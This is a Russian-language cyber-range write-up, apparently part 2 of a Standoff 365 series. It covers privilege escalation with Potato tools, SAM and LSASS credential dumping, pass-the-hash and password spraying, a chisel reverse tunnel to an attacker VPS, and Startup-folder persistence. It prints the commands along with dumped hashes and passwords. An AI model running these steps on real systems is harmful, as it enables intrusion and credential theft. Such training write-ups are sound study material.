Hacking
December 28, 2024

HighTechEnergy STANDOFF 365. Часть 2 -  Privilege Escalation, Credential Access, Pivoting,  Persistence

Ку, киберпанки! В прошлой статье мы получили инишиал. В этой статье речь пойдет о повышении привилегий, сборе данных на хосте, о туннелировании и закреплении.

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор не несет ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Повышение привилегий

Изначально имеем следующих зафишенных челиков:

Начнём с O_Lara. Сначала чекнем её привилегии:

whoami /priv

Видим, что есть SeImpersonatePrivilige. Это означает, что можно выполнять что-то в контексте NT AUTHORITY\SYSTEM. Для повышения привилегий использую GodPotato или SigmaPotato.

В директорию C:\Windows\Tasks\ (но лучше загрудать всю эту взрованную тематику по адресу C:\Users\user_name\) загружаю GodPotato и запускаю:

shell GodPotato.exe -cmd "C:/Windows/Tasks/a.exe"

Но по непонятным причинам причинам ничего не отрабатывало:

В итоге, сделал новый маяк, загрузил его в директорию O_Lara с помощью SigmaPotato:

shell SigmaPotato.exe C:\Users\O_Lara\demon.exe

Сбор информации

Для сбора информации - будем дампить SAM для получения кред или хэшей.

Security Account Manager (SAM) — механизм безопасности, управляющий всеми локальными учетными записями пользователей, включая их данные. Абстрактно, SAM представляет собой базу данных, содержащую информацию о локальных пользователях, такую как идентификатор, хеш пароля и т.п

При помощи привилегии SeBackupPrivilege мы можем это сделать:

По хорошему, это делается через mimikatz:

shell mimikatz "token::elevate" "lsadump::sam" "exit"

Но у меня мимик не отрабатывал, поэтому решил сделать по киберпанку: самому сдампить из реестра и на своей тачке распарсить с помощью pypykatz :

reg save HKLM\SYSTEM system.dmp & reg save HKLM\security security.dmp & reg save HKLM\SAM sam.dmp

Теперь выкачиваю и паршу. Покажу как это сделать с помощью pypykatz и с скриптом impacket secretsdump:

pypykatz registry --sam sam.dmp system.dmp
secretsdump.py  -security security.dmp -system system.dmp LOCAL
secretsdump.py -sam sam.dmp -system system.dmp LOCAL

Таким образом, получили:

Administrator:500:none:1341d22a3bf7d7caa3b46590cda30b88:::
Guest:501:none:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:none:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:none:9f510fd6ba1b078f7d342024d38aa80d:::
ptadmin:1006:none:c316674dab626a3afdc5f6b31df29c2f:::
itshuel:1007:none:6c4c4eb68a4c6082ab37166a9e967273:::
adel:1008:none:cfeff215d461385934435a5b0fc060f4:::
kot3:1009:none:33b8400f6cb308f57b2874f679e913fe:::
Olga:1011:none:303a0a69a3e7b813fbda33cba07f1bf8:::
test:1012:none:0cb6948805f797bf2a82807973b89537:::
newuser:1014:none:bbcef4ffcfe931235927d4134505691b:::
newhuy:1015:none:bbcef4ffcfe931235927d4134505691b:::
collapsz:1016:none:6252774119889224f32364297cc43416:::
nerv:1017:none:5745798f244536dfb453110e36751006:::
autist:1018:none:163b8e2cce432c92c16d84235b60ddc9:::
HTE.STF/Administrator:$DCC2$10240#Administrator#dfb35a65f92d8af602f08e358a58dc42
HTE.STF/o_lara:$DCC2$10240#o_lara#c4ee3a267ae7a808b67cd070b82f1bce
HTE.STF/a_petinson_admin:$DCC2$10240#a_petinson_admin#113cf5264ab093c52cc06dc404596dca
HTE.STF/k_delaney_admin:$DCC2$10240#k_delaney_admin#e5158fe15a7e4f2ce2d6d844652cb0fc
HTE.STF/j_bowen_admin:$DCC2$10240#j_bowen_admin#6167c7eeb879d232bad0bbee78865dcc
HTE.STF/j_glenn_admin:$DCC2$10240#j_glenn_admin#f08a98bbd5b6e57f9f7fb8f93e6776b4
HTE.STF/l_sherman:$DCC2$10240#l_sherman#210944504d230ed5b502332bba70b2b6
(Unknown User):Aa2sUdUlg3OJP98n

aad3b435b51404eeaad3b435b51404 заменил на none, потому что эта часть равна нулю

Есть хэши от юзеров, а значит можно сделать атаку Pass-The-Hash и есть пароль от неизвестного юзера, который можно будет спреить.

Pass-the-hash - техника, которая позволяет авторизовываться по хэшу, если аунтефикация происходит с использованием NTLM и LM

Но прежде чем это делать, нужно оформить туннелирование.

Pivoting

Проброс портов буду делать через chisel. С chisel нужно работа осуществляется так:

  1. На тачке пывнера разворачивается сервер chisel (желательно на тачке с белым IP)
  2. На тачке таргета разворачивается клиент chisel
./chisel server --port 3958  --reverse

На тачке жертвы:

shell chisel.exe client VPS_IP:3958 R:0.0.0.0:1080:socks

Теперь на своей тачке(та самая машина пывнера) прописываем в proxychains /etc/proxychains.conf:

socks5 VPS_IP 1080

или

echo "socks5 VPS_IP 1080" | sudo tee -a /etc/proxychains.conf

Проверяем доступность:

Теперь, используя пивотинг, можно попробовать еще раз сдампить lsass, используя модуль nanodump. Так мы получим список пользователей в домене и их хэши:

proxychains -q nxc smb -M nanodump 10.154.13.37 -u Administrator -H "1341d22a3bf7d7caa3b46590cda30b88"

Мы получили хэши и пароли:

hte\a_petinson_admin:7b4dc94ba597fbc95017cb313c83ab57
hte\a_petinson_admin:uDp0KD5Siu0tXAdg
hte\o_lara:3974d41c04dfff97f05090b477ceb846
hte\o_lara:Aa2sUdUlg3OJP98n

Для того, чтобы получить список пользаков через shell, можно использовать команду net user /domain:

Теперь попробуем засперить пароль Aa2sUdUlg3OJP98n , используя nxc:

proxychains -q nxc smb 10.154.13.37 -u users.txt -p "Aa2sUdUlg3OJP98n"

Это пароль от юзера o_lara. То есть, доказали, что это именно ее пароль.

Воспоминания о бывалом сервисе

Короче говоря, я пропустил один шаг в самом начале. Как помните, при скане портов была найдена станичка компании:

Попробовал ее прогнать через dirsearch и обнаружил свой косяк:

Если кратко, то там лежал VPN конфиг, который даёт доступ во внутренюю сеть - http://10.124.1.166/config. Теперь попробуем его запустить с кредами от o_lara:

Таким образом, получил доуступ во внутряк:

Теперь chisel можно отключать и работать чисто через VPN-конфиг.

Для подтверждения того, что работает - можно проверить rdp подключение к o_lara:

Подключаемся через xfreerdp:

xfreerdp3 /v:10.154.13.37 /d:hte.stf /u:o_lara /p:'Aa2sUdUlg3OJP98n' 

Так же, данный пароль подходит и для Exchange, который находили ранее:

То есть, появилась ещё одна возможность получить инишиал к другим пользакам домена через фишинг.

С помощью GAL (Global Address List) можно узнать какие пользователи есть в домене (имею ввиду без мусора):

Persistence

Совсем немного про закреп. Чтобы всегда отрабатывал маяк на SYSTEM, его можно поместить в директорию:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

Заключение

В следующей части поговорим о сборе информации о домене/корпоративной сети, горизонтальном перемещении.